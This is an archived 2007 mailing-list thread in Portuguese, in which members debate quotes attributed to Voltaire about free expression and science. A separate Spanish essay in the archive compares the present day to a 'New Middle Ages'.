<sandraamauri@yahoo.com.br>; "Lucimary Vargas" <lucimary.vargas@gmail.com>;
<lucia2245@hotmail.com>
Sent: Friday, July 13, 2007 12:29 PM
Subject: [ciencialist] voltaire


"Pode ser que não estejamos de acordo com as idéias dos outros, mas devemos
estar dispostos a morrer para defender a liberdade de todas as idéias".
Voltaire


"O acaso é uma palavra sem sentido. Nada pode existir sem causa."
Voltaire


"A falsa ciência gera ateus; a verdadeira ciência leva os homens a se curvar
diante da divindade."
Voltaire
--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire






"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês



SUBJECT: Re: [ciencialist] voltaire (ele teria vergomnha de ser citado dessa forma..:-)
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/07/2007 14:50

Olá Alvaro

Alvaro: "Tenho dúvidas quanto à primeira, mas nas duas últimas ele estava
completamente enganado, pois não conhecia as teorias do Big Bang e da
evolução."

Mesmo quanto a primeira, acho que ele estava enganado. Embora seja uma frase bonita, de "impacto", na prática nem sempre é possível ou razoável agir assim.

Por isso existem os crime de calúnia, difamação e injúria. Por isso revisionismo nazista na Alemanhã é proibido. Por isso é preciso, mesmo quanto a idéias, analisar de forma racional suas consequências e sua periculosidade.

E na ciência, conhecimento determinado pelo método científico, isso simplesmente não funciona. Idéias tem de ser abandonadas, para que as corretas sejam percebidas e se avance. Se toda idéia for "permitida", se formos "lutar" para defende-las, mesmo as incorretas (do ponto de vista científico), todas elas se tornarão igualmente inúteis.

Abandonar ideias falsas e incorretas é parte fundamental da pesquisa científica. Sem isso, uma aula de engenharia ou de física deveria ensinar, ao lado de matérias como "resistência de materiais e estruturas", Feng Shui e rabdomancia. Ou ao lado da evolução, criacionismo. E não apenas o tolo criacionsimo bíblico, mas todos os tipos, de todas as religiões, e ainda, ao lado da cosmologia, a Terra em forma de semi-esfera, que se apoia em elefantes que estão sobre uma tartaruga, etc.

Acho que até o Amauri percebe a tolice desse comportamento (mas não tenho muita certeza..:-).

Idéias, no campo da filosofia, da subjetividade, até podem ser respeitadas embora conflitantes. Em ciência, seria apenas tolice manter a micro-biologia ao lado dos miasmas maléficos ou xamanismo.

Um abraço.

Homero





----- Original Message -----
From: Alvaro Augusto (U)
To: ciencialist@yahoogrupos.com.br
Sent: Friday, July 13, 2007 1:26 PM
Subject: Re: [ciencialist] voltaire


Tenho dúvidas quanto à primeira, mas nas duas últimas ele estava
completamente enganado, pois não conhecia as teorias do Big Bang e da
evolução.

[ ]s

Alvaro Augusto

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From: "Amauri N. Sanches Jr " <amaurij@gmail.com>
To: <Acropolis_@yahoogrupos.com.br>; "ciencialist"
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Sent: Friday, July 13, 2007 12:29 PM
Subject: [ciencialist] voltaire

"Pode ser que não estejamos de acordo com as idéias dos outros, mas devemos
estar dispostos a morrer para defender a liberdade de todas as idéias".
Voltaire

"O acaso é uma palavra sem sentido. Nada pode existir sem causa."
Voltaire

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Filósofo francês





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SUBJECT: La Nueva Edad Media
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <Conversa_de_Botequim@yahoogrupos.com.br>
DATE: 13/07/2007 15:01

La Nueva Edad Media
· Efectos equivalentes en los periodos medievales

· Dificultades de comunicación

· Especialización tecnológica

· Inseguridad, provisionalidad

· Formalismo intelectual

· Los señores de la guerra

· Herejes e inquisidores

· Lengua común

· Epílogo

· Factores que caracterizan los periodos medievales

· Paralelismos

Nuestra sociedad está experimentando una orientación neomedieval, que ya había sido anunciada hace varias décadas. El actual ciclo civilizatorio se va acercando poco a poco, pero de forma inexorable, a su fin, y entramos claramente en una época de transición.

Ya en los años treinta Nicolás Berdiaeff planteó la medievalización de la sociedad. En la década de los setenta, diversos trabajos en distintos ámbitos volvieron a coincidir en el diagnóstico: el geógrafo Giuseppe Sacco, el historiador Furio Colombo, el lingüista Umberto Eco y el sociólogo Roberto Vacca, por citar sólo los más conocidos de aquellos que lanzaron la voz, acuñaron la denominación de "Nueva Edad Media". El filósofo Jorge Ángel Livraga-Rizzi fue también uno de los primeros en detectar estos cambios, exponiendo su tesis sobre la Nueva Edad Media, para ofrecer un paradigma que sirviera para analizar el ritmo que iban tomando los acontecimientos.

Más recientemente, el escritor francés Alain Minc, apoyándose principalmente en las particularidades de los conflictos bélicos desatados en los Balcanes, volvió a subrayar los rasgos neomedievales de la situación que estamos viviendo en todo el mundo, destacando la serie de coincidencias que se dan entre el anterior período medieval, vivido por Europa después de la caída de Roma, y el actual. El choque producido por guerras como la de Bosnia o las nuevas de Afganistán e Irak han puesto de manifiesto que el mundo entero se está enfrentado bruscamente con una realidad que, hasta hace poco, veía un tanto lejana. Se ha comprobado cómo han caído los esquemas, cómo se han roto todos los moldes y manifestado una serie de parámetros de manera violenta. Alain Minc insiste mucho en ello en su libro y se centra en ese estereotipo que proporciona una guerra dolorosa y sangrienta que está precipitando la crisis de la civilización mucho más rápidamente de lo que se pensaba.

Todo esto es tema para reflexionar y mucho más interesante si lo analizamos en profundidad, no de una forma alarmista o catastrófica como podría resultar de un análisis superficial. Hay muchos elementos que nos pueden ayudar a conocer el momento tan especial en que nos desenvolvemos, a conocernos también un poco a nosotros mismos y así anticiparnos a los acontecimientos venideros, con una cierta tranquilidad de que podemos superar la prueba.

Podemos establecer, en primer lugar, una serie de elementos que nos ayuden a descubrir si los modelos utilizados en la Edad Media anterior nos pueden ser de utilidad para enfrentarnos a la que se avecina. Consideramos, con una visión histórica inspirada en el conocimiento tradicional, que el tiempo es curvo, que la Historia no manifiesta una linealidad en el sentido de que se vayan superando etapas en un progreso infinito, sino que más bien se nos plantea como una rueda cuyo continuo girar hace que nos encontremos ante ruinas de antiguas civilizaciones que nos sorprenden por su gran esplendor y conocimientos y que, sin embargo, cayeron y fueron sustituidas por otros modelos civilizatorios de muy bajos resultados positivos: momentos oscuros y decadentes que los historiadores han dado en llamar edades medias. En la Historia de la Humanidad ha habido momentos de esplendor y momentos de decadencia. Mientras en Europa estábamos sumidos en la Edad de Piedra, había otros lugares que disponían de grandes formas civilizatorias, donde las Artes, la Ciencia, la Religión o la Política conducían a los hombres a formas de vida perfectamente organizadas. De ahí que esta pretensión que se tenía en el siglo pasado, o incluso antes, de esa sucesión de etapas que llevaban a un mayor florecimiento y a una mayor perfección para la Humanidad, cada vez es sostenida por menos pensadores.

EFECTOS EQUIVALENTES EN LOS PERIODOS MEDIEVALES

Se pueden establecer una serie de paralelismos que nos van a llevar a la descripción de esta nueva situación neomedieval. A veces estos paralelismos se dan en oposición, puesto que las causas que los producen son equivalentes, pero no idénticas. Estamos hablando de procesos paralelos, no iguales. En la pasada Edad Media, por ejemplo, uno de los primeros signos más significativos es el tremendo descenso de la población. Esta crisis, sin embargo, que en la edad pasada fue producida por el hambre o las epidemias, tiene su polaridad opuesta en la superpoblación y el crecimiento demográfico que está afectando hoy principalmente a los países subdesarrollados, que son los primeros en notar los efectos del ciclo neomedieval.

También en el polo opuesto se encuentra la saturación de las ciudades frente al abandono de las mismas al comienzo de la Edad Media. Una vez que los bárbaros se apoderan de las bien organizadas ciudades romanas, que disponían de servicios y todo tipo de elementos de convivencia, los ciudadanos huían al campo, donde se atrincheraban, y así fueron creando pequeños núcleos para constituir lo que después serían los castillos feudales, punto de referencia del nuevo sistema y germen de las futuras ciudades amuralladas. Hoy en día, por el contrario, son ya muchas las ciudades saturadas, con más de 5.000.000 de habitantes, lo que causa verdaderos problemas de acumulación en los servicios, las comunicaciones e incluso en el propio estado psicológico de sus habitantes.

DIFICULTADES DE COMUNICACIÓN

Este problema, que se plantea en los albores de la Edad Media, se ve ahora contrapuesto por el exceso de comunicación que hoy existe en todos los países civilizados. La comunicación excesiva es uno de los signos propios de nuestra época y hace que las consecuencias de esta situación de tránsito sean vividas por todos, lo cual es un elemento original, en tanto en cuanto el mundo se ha convertido hoy en lo que Mac-Luhan llamaba "la aldea global", donde nada que se produzca en cualquier lugar puede tener el aislamiento necesario para crecer. En tiempos del Emperador Carlomagno, cuando Europa vivía la Edad Media más dura -siglos V y VI-, donde todavía esas pequeñas semillas de un mundo mejor no habían germinado por falta de tiempo, había otros lugares de la Tierra que estaban en pleno auge, con unos elementos de civilización desconocidos en el mundo europeo. Es bien sabido cómo Carlomagno envió emisarios a Constantinopla para que trajesen expertos, artesanos y conocedores de los adelantos de la época.

En "El fin de la Historia y el último hombre", su autor, Fujuyama, plantea el hecho de que si hoy un país quisiera hacer una experiencia de laboratorio y dejar de utilizar los mecanismos científicos o los adelantos de la tecnología para trabajar en un medio totalmente descontaminado, al principio podría parecer fácil conseguir ese aislamiento, pero la experiencia estaría condenada al fracaso. Hoy el aislamiento es inviable, pues los medios de comunicación hacen que todo esté interconectado e interdependiente. Tendría que haber un consenso mundial que permitiera a un país pequeño hacer ese experimento, lo cual es una utopía.



ESPECIALIZACIÓN TECNOLÓGICA

Otro punto es la decadencia tecnológica. En nuestra sociedad de consumo, donde cada producto es sustituido con mucha rapidez por otro nuevo, se está produciendo una falta de conocimiento y de utilización de muchos de estos mismos productos que no se saben aprovechar debidamente. Ese exceso de producción tecnológica hace que aunque se esté en un nivel muy alto de producción, el grado de utilización de esa tecnología por parte de los individuos sea cada vez más bajo. Hay, no obstante, un sector de la población que sí continúa el ritmo de esa producción y mejora tecnológicamente, pero la gran mayoría cada vez se desmarca más y más de lo que se requiere para aprovechar esos avances. De ahí que lo que se produce en este sentido es como una especie de desalfabetización tecnológica por parte de los individuos, ante la súper especialización técnica que se está dando en los productos, y una infrautilización de los mismos. Entonces, quizá por exceso, se va a llegar a parecida situación.

Por otra parte, también sucede que la mano de obra especializada que requiere la fabricación de productos de alta tecnología, el abandono de la producción de elementos hechos con las manos, hace que la población que se requiere para estos trabajos sea casi de élite y, como consecuencia, queda una gran masa de gente que ya no sabe cómo resolver las incógnitas que plantean estos elementos altamente tecnificados, ni tampoco cómo crear algo más simple que los sustituya. Esa gente se queda desmarcada del proceso tecnológico. Es algo parecido a lo que sucedía en la anterior Edad Media cuando no había orfebres ni especialistas que supieran tallar las piedras o construir edificios y tuvieron que buscar -estamos hablando del renacimiento carolingio, que es el primero que intenta superar y sembrar esa semilla que sirva para salir de la barbarie- en otros lugares más civilizados a aquellos artesanos y constructores que le enseñarán a la población todas aquellas técnicas y elaboraciones que habían olvidado.

INSEGURIDAD, PROVISIONALIDAD

Los peligros en los caminos durante la Edad Media serían hoy comparables a esos peligros que también ahora tenemos en nuestros caminos, ya sea dentro de las ciudades o también fuera, y que producen un sentimiento generalizado de inseguridad, que es otra de las características de esta época de transición. De igual manera que el hombre medieval, cuando se ponía en camino, no sabía lo que podía ocurrirle, ni siquiera si iba a volver, poco a poco tal provisionalidad se adueña de nosotros, que ya no nos atrevemos a planificar con la racionalidad de hace no tanto tiempo, pues todo se ha vuelto mucho más inseguro y aleatorio.

El catastrofismo milenarista de la Edad Media, que pretendía que cuando llegara el año 1000 se iba a terminar el mundo y se preparaban todos directamente para esa finalización de los tiempos, también se puede comparar al catastrofismo de la amenaza nuclear, al miedo a la destrucción del planeta desde el punto de vista de la ecología, etc. Hoy tenemos también un cierto catastrofismo milenarista; a pesar de esa presunta racionalidad de la gente, todo el mundo se pregunta qué es lo que va a pasar mañana, se indagan las profecías, se buscan los que adivinan el futuro... Ese fantasma del fin de los tiempos atrae a la gente más de lo que parece.

FORMALISMO INTELECTUAL

Hay también paralelismos en el ámbito de la cultura. En la pasada Edad Media nos encontramos un ambiente de muchas discusiones, tremendas disputas escolásticas por mínimos matices en la expresión, grupos religiosos divididos, corrientes enfrentadas y duramente en pugna por pequeñas definiciones dogmáticas, por pequeños añadidos a ciertas frases evangélicas... En nuestro momento actual existe un exceso de formalismo intelectual; por establecer un pequeño matiz en una pequeña parte de un pequeño tratado de una pequeña rama de la ciencia, se producen profundas disquisiciones que son comprendidas por muy pocos y que no trascienden prácticamente en nada al resto de la sociedad, pero que apasionan y producen grandes polémicas entre los intelectuales.

Es interesante también subrayar el papel que desempeñaron los monasterios en la antigua Edad Media. Los monasterios fueron punto de referencia para la conservación de las ideas, del conocimiento, en un mundo embrutecido y barbarizado. Gracias a esos monjes bien organizados que copiaron a Platón, a Aristóteles o a los estoicos, se realizaron obras de arte y se conservaron muchos tesoros del mundo clásico. Umberto Eco considera que son las universidades actuales las destinadas a desempeñar ese papel en la nueva Edad Media. Giuseppe Sacco, por el contrario, subraya que, siguiendo el modelo de las microsociedades ascético-monásticas que florecieron en la Edad Media, la clave de los nuevos valores y códigos éticos va a estar en los grupos pequeños de idealistas con claridad de objetivos, con mucha imaginación y capacidad para sobrevivir en un medio muy hostil, autoabasteciéndose sin depender demasiado del exterior.

LOS SEÑORES DE LA GUERRA

Los ejércitos privados al servicio de los "señores de la guerra", como se les llamaba en la Edad Media, tienen su paralelismo en la tribalización de las guerras actuales. En estos momentos, hay muchos conflictos que evidentemente no son una guerra clásica, en la cual existen bandos enfrentados, sino que hay una serie de pequeños ejércitos particulares de cada ciudad, con diferentes jefes pagados por individuos aislados, y que no obedecen a una estrategia general. Por eso es tan difícil llegar a acuerdos. Los acuerdos se plantean por la vía racional del sistema antiguo a través de interlocutores internacionales y de representantes del Estado. Pero lo que hoy funciona no son Estados, sino clanes, tribus, o a lo sumo ciudades enfrentadas entre sí. Este protagonismo de las ciudades también en un rasgo medieval. En la Edad Media los feudos, poco a poco, se convierten en burgos y ciudades que son las auténticas protagonistas, y en la actualidad también se están federando como se federaron entonces en la liga hanseática; se traspasan las barreras, tanto de regiones como de naciones, en esa descentralización paulatina que se va implantando. El estado-nación cada vez cuenta menos y se habla -por ejemplo- en el continente europeo, de la "Europa de Regiones" y de la "Europa de Ciudades".

HEREJES E INQUISIDORES

La represión de los herejes es otro rasgo importante de la Edad Media. Todo aquel que pensara de distinta manera era eliminado, tras ser juzgado y acusado de hereje. Hoy se está dando esto mismo en la persecución, a veces artificial y a veces real, de los movimientos que se llaman sectarios, y también en la diabolización que se ha hecho de la palabra "secta". En la antigüedad, los grupos o sectas que se plantearon en el seno de las diferentes tendencias de la religión cristiana fueron innumerables, y aunque algunos simplemente se limitaban a subrayar algún aspecto de la doctrina, en otros casos se cometían verdaderas aberraciones, pero a todos sin excepción se les metía en el mismo casillero y se les acusaba igualmente de herejes. Ahora se está haciendo los mismo con la persecución de lo que se ha dado en llamar "sectas destructivas", integrando dentro de ellas a todo grupo que plantee algún tipo de alternativas o de nuevas perspectivas, y son perseguidas, no por una inquisición, sino que ahora la sociedad plantea otro tipo de inmolaciones. La manipulación de los medios de comunicación ha creado nuevos fantasmas de miedo y de terror, similares a los del Santo Oficio, pues se diabolizan igualmente los elementos, y con ello hay una condenación pública que convence a la gran mayoría. Eso produce, junto con la intransigencia que cada vez se da más en la Edad Media, una permanente descalificación: en el mundo medieval abunda esa opresión permanente o ese estado de agresividad que vive la sociedad. Esto se generaliza en una intolerancia total hacia cualquiera que piense de distinta manera que uno. Es un dogmatismo, ya sea en materia religiosa o política, que se palpa en el ambiente.

Los castillos fortificados en la Edad Media, las murallas que aparecen en torno a ellos y al núcleo de población que los rodeaba, son fortificaciones que surgen ya en la época tardía, o sea, cuando empieza verdaderamente la Edad Media. Estos castillos fortificados tienen una correspondencia en la actualidad con los dispositivos de seguridad que cada vez proliferan más, ya sea en los edificios particulares o apartamentos, o en los organismos oficiales. Todos aquellos lugares donde puede residir el poder son sistemáticamente vigilados y filtrada toda persona que pueda tener acceso a ellos.

LENGUA COMÚN

La elaboración del alfabeto en la época del Renacimiento Carolingio fue uno de los instrumentos que ayudó enormemente a salir de la barbarie al mundo europeo de entonces. Hay que decir que nadie sabía leer ni escribir, ni siquiera el mismo Carlomagno: tuvo que poner a sus monjes, dirigidos por Alcuino de York, a elaborar un nuevo alfabeto.

Por otra parte, la lengua común que se buscaba y que, mal que bien, todo el mundo hablaba en la Edad Media -no sólo los más cultos, pues también era necesaria para el comercio y otros determinados menesteres-, era ese latín que poco a poco fue deformándose y constituyendo las lenguas romances. Hoy día es bastante claro que esa lengua hegemónica es el inglés. Es una especie de imposición, propia de esa aldea global, que todo el mundo tiene que aceptar si pretende acceder al mundo científico o simplemente viajar por distintos países o estudiar cualquier carrera universitaria.

Otro paralelismo estaría entre las justas y torneos medievales y nuestras actuales competiciones deportivas. Las ciudades del Medievo vivían prácticamente aisladas entre sí. Los castillos, esas pequeñas sociedades feudales, vivían independientes y se encontraban con ocasión de las justas y torneos. Umberto Eco considera que las grandes competiciones deportivas tienen algo de ese sabor medieval en cuanto a su capacidad para movilizar el entusiasmo de las gentes y su identificación con los colores. Al igual que en las justas y torneos, los partidarios de unos u otros se catalogan por los colores que portan y por la adscripción; es una identificación, un entusiasmo movilizador lo que une a esas masas por encima de las pequeñas agrupaciones sociales.

EPÍLOGO

Podemos plantear algunas posibles soluciones ante esta inexorable medievalización de nuestra sociedad. Hay que decir que no existen paradigmas, panaceas infalibles ni recetas globales, por la misma razón de que no es un mundo homogéneo el que tenemos entre las manos, sino cada vez más fragmentado y heterogéneo, como es propio de todos los períodos medievales. De ahí que no se pueda decir que la solución tenga que ser económica, cultural o religiosa.

Jorge Ángel Livraga afirma que una de las posibles soluciones reside en la creación de módulos de supervivencia, y añade: "Cada cual tiene que tratar, en lo posible, de rescatar todo aquello que sea válido, para sí y para los demás". Es decir, ante una imagen histórica como es la de la Nueva Edad Media, lo único que cabe también es una actitud y una imagen histórica que implique una forma de comportamiento que sea la de ese hombre neomedieval que va buscando las semillas salvadoras. Se trata de una actitud mental, todo un planteamiento de rescate de todo lo bueno, bello y justo. Livraga afirma asimismo: "Tenemos que aprender a vivir aun a través de las deficiencias que ya va planteando la sociedad medieval". Aprender a vivir en otro nivel, no el que nos empuja hacia una sociedad de consumo alocado y confort, donde todo funciona, sino en una sociedad donde hay deficiencias: ser capaz de anticipar la posibilidad de un fallo eléctrico sin que esto nos desestabilice, la posibilidad de una escasez de combustible, de una carestía de alimentos, de una inseguridad cada vez mayor, sin que ninguna de estas deficiencias del sistema nos limite a nivel psicológico. En un saber cómo comportamos ante la xenofobia, ante la intolerancia o la persecución de los que piensan de otra manera.

Así podremos hacerle frente sin peligro de perder irremisiblemente muchos de esos logros que ha ido acumulando el hombre a través de los siglos: logros culturales, técnicos, científicos, morales y espirituales, que son patrimonio de la Humanidad y que no podemos dilapidar de ninguna manera, pues ellos son los que van a servirnos para que, cuando venga el nuevo giro de la Historia, podamos llegar un poco más lejos de lo que hemos sido capaz de llegar la Humanidad hasta ahora.

FACTORES QUE CARACTERIZAN LOS PERIODOS MEDIEVALES

La Edad Media no se plantea en realidad como un período histórico sino, más bien, como una imagen histórica, es decir, un ambiente, un estado de ánimo generalizado, donde hay una serie de factores, de estructuras comunes que se dan siempre en todas las edades medias, las cuales nos permiten identificarlas como tales. No todo es destrucción, no todo es caída o declive; al ser un momento enormemente activo y de gran transitoriedad, se producen también en ese tiempo iniciativas o tendencias positivas que van a servir para superar el gozne. Esa es la apasionante carrera en la cual todos estamos comprometidos; descubrir en ese tiempo de cambios y confusión aquellas semillas que van a servir para que se supere el ciclo, porque toda Edad Media -lo sabemos ya también por el estudio comparativo que hemos hecho de las anteriores-, lleva en sí el germen de lo que va a ayudar a superarla.

- Una paz que se desmembra. Es ese "Status quo" de un cierto equilibrio que teníamos hasta que la Unión Soviética se deshizo en fragmentos. Había un cierto entente entre las dos grandes potencias, que Umberto Eco llama la pax americana, rememorando la "pax romana" del antiguo Imperio. Es muy complicado hablar de esa "pax", puesto que la Humanidad nunca ha conocido períodos de paz estable, pero digamos que, frente a la generalización de los conflictos que tenemos ahora, esa "pax" o guerra fría de los años sesenta era una convivencia bastante más controlada de lo que es ahora. En definitiva, ese sería el primer factor: una paz que se desmembra o un conflicto que se generaliza.

- Invasiones e inmigración. Unos "bárbaros" que presionan, ya sea desde dentro, con nuevas ideas, o desde fuera, tratando de integrarse en el sistema. Estos son los inmigrantes, todos los refugiados de distintos países, que huyen de las guerras y presionan las fronteras de los países que se definen a sí mismos como más civilizados. No son invasiones violentas o guerreras -a lo largo de la Historia vemos que no todas lo han sido a golpe de espada- sino movimientos de pueblos, gentes que viven precariamente y van buscando, sencillamente, un lugar donde poder sobrevivir.

- Descentralización de la estructura social y crisis del control central de los sistemas. Este es quizá uno de los elementos fundamentales, donde más coinciden los analistas del momento actual. Las instituciones revisten un carácter accesorio ante los intereses privados en pugna. El gran aparato del Estado pierde cada vez más capacidad de control y se produce una feudalización, en cuanto que las instituciones se vacían cada vez más de contenido y son mantenidas de manera artificial. El poder se va desplazando hacia otros grupos laterales que no están integrados dentro de los grandes aparatos constitucionales, lo cual implica un protagonismo de los intereses privados frente a un Estado Central y racional propio del siglo XIX.

- Las ciudades se fragmentan en barrios. La "vietnamitación del territorio", lo llama el historiador Furio Colombo. En esta fragmentación sucede que quedan territorios como "tierras de nadie", lugares donde puede suceder de todo, donde no hay seguridad ni ningún tipo de utilización prevista para ese espacio. Dice textualmente Alain Minc: Espacios inmensos regresan a un estado salvaje, la ilegalidad se reinstala en el corazón de las democracias más avanzadas, las mafias no aparecen como arcaísmos en vías de desaparición, sino como una forma social en plena expansión. Una parte de las ciudades se escapa a la autoridad del Estado y se sumerge en una inquietante extraterritorialidad. Millones de ciudadanos en el corazón de las sociedades más ricas y más sofisticadas se mueven en la oscuridad y en la exclusión; nuevas bandas armadas, nuevos ladrones, nuevas tierras incógnitas, ahí están todos los ingredientes de una Nueva Edad Media.

- Sentimiento generalizado de inseguridad ante el futuro. Esta característica afecta sobre todo a los ciudadanos que se sienten muy identificados con el sistema. Los que viven más en la psicología medieval pueden tener dos tendencias:

a) Sabiéndolo, tratar de sobrevolarlo todo un poco, es decir, identificarse en el papel de buscador de todo lo que pueda ser semilla válida para el futuro.

b) Dejarse llevar y reproducir el estereotipo medieval, identificarse con él y seguir la corriente histórica.

Tanto los primeros como los segundos tienen un rasgo en común, que es la sensación de inseguridad ante lo que va a ser el día de mañana, además de la inseguridad física por las agresiones por falta de vigilancia en los barrios marginales.

- Tendencia a que los datos del saber sean traducidos a imágenes; habrá una élite, que será la "cultura docta", y una gran mayoría a la que pertenece la "cultura popular". Los primeros, los intelectuales más capaces, van a sentir constantemente la llamada de la divulgación hacia esas masas populares y van a intentar traducir en imágenes sus ideas, para hacerlas asequibles. Esto ocurrió en la Edad Media pasada y en la actualidad también se da, puesto que cada vez proliferan más las enciclopedias o vídeos donde se cuenta, de manera sencilla y comprensible, todo el acervo que el conocimiento ha llegado a producir culturalmente.

- Gusto por la recopilación y el inventario, por la tendencia a acumular objetos, unos por simple coleccionismo y otros por un sentido más profundo. En los ámbitos culturales, éste es quizá uno de los elementos más positivos y que más ha beneficiado la conservación de objetos de valor. En aquellos primeros monasterios medievales se guardaba cualquier cosa que se pudiera encontrar: lo mismo una lápida funeraria de la antigua Roma que un códice del que no entendían nada.

- Cultura de la readaptación continua, de la transición permanente. Podemos decir, con Alain Minc, que la Edad Media se caracteriza por un estado de confusión y de deseo. Los estudiosos de estas teorías nos indican cómo los sistemas actuales de la sociedad están cayendo cada vez más en puntos de desequilibrio, y a pesar de sus esfuerzos por defenderse de esa inestabilidad, van inexorablemente hacia un estado general de caos. De ahí que, curiosamente, los estudios más avanzados en las ciencias contemporáneas sean precisamente sobre el caos y el principio de incertidumbre: hay una relación muy directa entre la motivación de los pensadores o científicos y las tendencias que tiene la Humanidad. No deja de ser significativo que en un momento en que se está produciendo ese estado de confusión cada vez más generalizado, sean precisamente los estudios de la Física del Caos los más vanguardistas. ¿Es que se capta esa forma mental, que está produciendo la Humanidad en conjunto, con su situación de transición de un tiempo a otro?

PARALELISMOS

- El deterioro de las calzadas romanas, de las vías de comunicación del antiguo Imperio, tendría su paralelismo hoy con la contaminación del medio ambiente. Nuestro entorno se va deteriorando hasta el punto de que los elementos naturales, los bosques, las aguas y hasta el aire que respiramos están amenazados debido a la contaminación cada vez mayor que sufrimos. Cada vez es más escasa el agua potable, y las carreteras ofrecen la amenaza de una contaminación permanente.

- La escasez de alimentos que se produce en la antigua Edad Media, desgraciadamente, se está produciendo también ahora en los países superpoblados tercermundistas, además del deterioro creciente que experimentan los alimentos desnaturalizados y convertidos a veces en productos cancerígenos en los países más desarrollados.

- El fenómeno de las peregrinaciones y viajes en la Edad Media, ese ponerse en camino, ir a los Santos Lugares, a Santiago, a las ermitas y romerías, o ir simplemente en busca de nuevas perspectivas a grandes núcleos de población, las compara Umberto Eco con el auge que tiene en nuestro días el turismo de masas, los movimientos de población en busca de conocer otras tierras y otros mundos.

- En la antigua Edad Media teníamos el misticismo mendicante, es decir, aquellos iluminados que iban por los caminos predicando y buscando adeptos. Hoy tenemos otros "místicos", falsos ocultistas que prometen un mundo maravilloso, un paraíso, que enseñan doctrinas y salvaciones de tipo mesiánico, tal como se producían en aquel entonces.

- Las epidemias de enfermedades incontrolables constituyen otro de los síntomas visibles de esa estructura medieval que se adueña de todo. La aparición de virus aún no identificados, que se renuevan con continuas mutaciones produciendo enfermedades contagiosas, para las que el tan alabado poder de la medicina moderna no encuentra vías de curación, produce un estado de confusión y de angustia ante lo desconocido, muy similar al que vivieron nuestros antepasados.

- La pobreza y la mendicidad son otro punto de convergencia. En la Edad Media fue tan enorme que hasta los artistas de comienzos del Renacimiento las reflejaron en sus obras. Este estado de marginación, de grandes "bolsas de pobreza", existe hoy en todas las grandes ciudades, y poco a poco, el nivel de pobreza va creciendo en todas partes. En la actualidad existen países enteros, naciones consideradas pobres.

- La amenaza del Islam, utilizada como elemento propagandístico cuando interesa, es otra de las coincidencias que encontramos. El avance del Islam fue vivido como una amenaza por las micro-estructuras medievales, e igualmente, en este momento, el integrismo islámico viene a ser una amenaza directa ante el sistema; los propios países de la influencia islámica lo ven también como una amenaza para ellos, sobre todo aquellos que se pasaron al sistema racional e industrializado del mundo occidental.

María Dolores F.-Fígares

editorial-na[arroba]arrakis.es




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SUBJECT: Re: [ciencialist] voltaire (ele teria vergomnha de ser citado dessa forma..:-)
FROM: "Amauri N. Sanches Jr " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/07/2007 15:06

Homero

Qual o engano de Voltaire?

sds

Em 13/07/07, Oraculo <oraculo@atibaia.com.br> escreveu:
>
> Olá Alvaro
>
> Alvaro: "Tenho dúvidas quanto à primeira, mas nas duas últimas ele estava
> completamente enganado, pois não conhecia as teorias do Big Bang e da
> evolução."
>
> Mesmo quanto a primeira, acho que ele estava enganado. Embora seja uma
> frase bonita, de "impacto", na prática nem sempre é possível ou razoável
> agir assim.
>
> Por isso existem os crime de calúnia, difamação e injúria. Por isso
> revisionismo nazista na Alemanhã é proibido. Por isso é preciso, mesmo
> quanto a idéias, analisar de forma racional suas consequências e sua
> periculosidade.
>
> E na ciência, conhecimento determinado pelo método científico, isso
> simplesmente não funciona. Idéias tem de ser abandonadas, para que as
> corretas sejam percebidas e se avance. Se toda idéia for "permitida", se
> formos "lutar" para defende-las, mesmo as incorretas (do ponto de vista
> científico), todas elas se tornarão igualmente inúteis.
>
> Abandonar ideias falsas e incorretas é parte fundamental da pesquisa
> científica. Sem isso, uma aula de engenharia ou de física deveria ensinar,
> ao lado de matérias como "resistência de materiais e estruturas", Feng Shui
> e rabdomancia. Ou ao lado da evolução, criacionismo. E não apenas o tolo
> criacionsimo bíblico, mas todos os tipos, de todas as religiões, e ainda, ao
> lado da cosmologia, a Terra em forma de semi-esfera, que se apoia em
> elefantes que estão sobre uma tartaruga, etc.
>
> Acho que até o Amauri percebe a tolice desse comportamento (mas não tenho
> muita certeza..:-).
>
> Idéias, no campo da filosofia, da subjetividade, até podem ser respeitadas
> embora conflitantes. Em ciência, seria apenas tolice manter a micro-biologia
> ao lado dos miasmas maléficos ou xamanismo.
>
> Um abraço.
>
> Homero
>
> ----- Original Message -----
> From: Alvaro Augusto (U)
> To: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>
> Sent: Friday, July 13, 2007 1:26 PM
> Subject: Re: [ciencialist] voltaire
>
> Tenho dúvidas quanto à primeira, mas nas duas últimas ele estava
> completamente enganado, pois não conhecia as teorias do Big Bang e da
> evolução.
>
> [ ]s
>
> Alvaro Augusto
>
> ----- Original Message -----
> From: "Amauri N. Sanches Jr " <amaurij@gmail.com <amaurij%40gmail.com>>
> To: <Acropolis_@yahoogrupos.com.br <Acropolis_%40yahoogrupos.com.br>>;
> "ciencialist"
> <ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>>; <
> cascata_de_luz@yahoogrupos.com.br <cascata_de_luz%40yahoogrupos.com.br>>;
> <sandraamauri@yahoo.com.br <sandraamauri%40yahoo.com.br>>; "Lucimary
> Vargas" <lucimary.vargas@gmail.com <lucimary.vargas%40gmail.com>>;
> <lucia2245@hotmail.com <lucia2245%40hotmail.com>>
> Sent: Friday, July 13, 2007 12:29 PM
> Subject: [ciencialist] voltaire
>
> "Pode ser que não estejamos de acordo com as idéias dos outros, mas
> devemos
> estar dispostos a morrer para defender a liberdade de todas as idéias".
> Voltaire
>
> "O acaso é uma palavra sem sentido. Nada pode existir sem causa."
> Voltaire
>
> "A falsa ciência gera ateus; a verdadeira ciência leva os homens a se
> curvar
> diante da divindade."
> Voltaire
> --
>
> Meu blog:
> http://masterofdarkness.multiply.com/journal
>
> É só se cadastrar nos link abaixo:
>
> http://www.publipt.com/pages/index.php?refid=avoltaire
>
